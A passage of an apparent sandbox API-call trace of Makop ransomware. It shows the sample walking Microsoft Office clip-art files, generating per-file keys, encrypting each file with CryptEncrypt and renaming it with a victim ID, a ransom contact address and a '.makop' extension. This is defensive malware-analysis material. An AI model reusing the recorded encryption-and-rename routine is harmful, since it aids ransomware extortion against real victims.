dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.151] GetProcessHeap () returned 0x48a0000 [0122.151] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.151] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.151] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.153] CloseHandle (hObject=0xf0) returned 1 [0122.153] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0122.153] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF") returned 63 [0122.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.155] GetProcessHeap () returned 0x48a0000 [0122.156] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.156] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.156] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.156] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0122.163] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.163] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.163] GetProcessHeap () returned 0x48a0000 [0122.163] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.163] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.163] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.163] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.163] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.164] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.164] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.164] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.164] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.164] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.165] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xbf4, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xbf4, lpOverlapped=0x0) returned 1 [0122.165] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc00, dwBufLen=0xc00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc00) returned 1 [0122.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.165] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc00, lpOverlapped=0x0) returned 1 [0122.165] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xcd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.165] SetEndOfFile (hFile=0xf0) returned 1 [0122.172] GetProcessHeap () returned 0x48a0000 [0122.172] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.172] GetProcessHeap () returned 0x48a0000 [0122.172] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.172] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.172] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107730.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107730.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.174] CloseHandle (hObject=0xf0) returned 1 [0122.174] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc44, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107734.WMF", cAlternateFileName="")) returned 1 [0122.174] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF") returned 63 [0122.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.175] GetProcessHeap () returned 0x48a0000 [0122.175] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.175] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.175] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.175] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xc, lpOverlapped=0x0) returned 1 [0122.186] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.186] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.186] GetProcessHeap () returned 0x48a0000 [0122.186] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.186] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.186] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.186] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.187] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.187] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.187] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.187] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.187] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.187] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xc44, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xc44, lpOverlapped=0x0) returned 1 [0122.188] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50, dwBufLen=0xc50 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xc50) returned 1 [0122.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.188] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xc50, lpOverlapped=0x0) returned 1 [0122.188] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.188] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.188] SetEndOfFile (hFile=0xf0) returned 1 [0122.272] GetProcessHeap () returned 0x48a0000 [0122.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.272] GetProcessHeap () returned 0x48a0000 [0122.272] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.273] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.273] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107734.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107734.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.274] CloseHandle (hObject=0xf0) returned 1 [0122.274] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107742.WMF", cAlternateFileName="")) returned 1 [0122.274] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0122.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.275] GetProcessHeap () returned 0x48a0000 [0122.275] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.275] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.276] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.276] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.334] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.334] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.334] GetProcessHeap () returned 0x48a0000 [0122.334] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.334] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.335] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.335] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.335] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.335] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.335] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.336] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.336] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.336] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.336] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.336] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xe3c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xe3c, lpOverlapped=0x0) returned 1 [0122.336] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe40, dwBufLen=0xe40 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xe40) returned 1 [0122.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.337] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0xe40, lpOverlapped=0x0) returned 1 [0122.337] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.337] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xf14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.337] SetEndOfFile (hFile=0xf0) returned 1 [0122.345] GetProcessHeap () returned 0x48a0000 [0122.345] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0122.345] GetProcessHeap () returned 0x48a0000 [0122.345] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0122.345] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0122.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107742.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0122.347] CloseHandle (hObject=0xf0) returned 1 [0122.347] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x138c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107744.WMF", cAlternateFileName="")) returned 1 [0122.347] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0122.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0122.461] GetProcessHeap () returned 0x48a0000 [0122.461] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0122.461] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0122.461] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0122.461] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.468] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.468] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.468] GetProcessHeap () returned 0x48a0000 [0122.468] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0122.468] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0122.468] CryptDestroyKey (hKey=0x48c7128) returned 1 [0122.468] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0122.468] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0122.468] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0122.469] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0122.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0122.469] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0122.469] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0122.469] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0122.469] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.469] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x138c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x138c, lpOverlapped=0x0) returned 1 [0123.472] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390, dwBufLen=0x1390 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1390) returned 1 [0123.472] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: 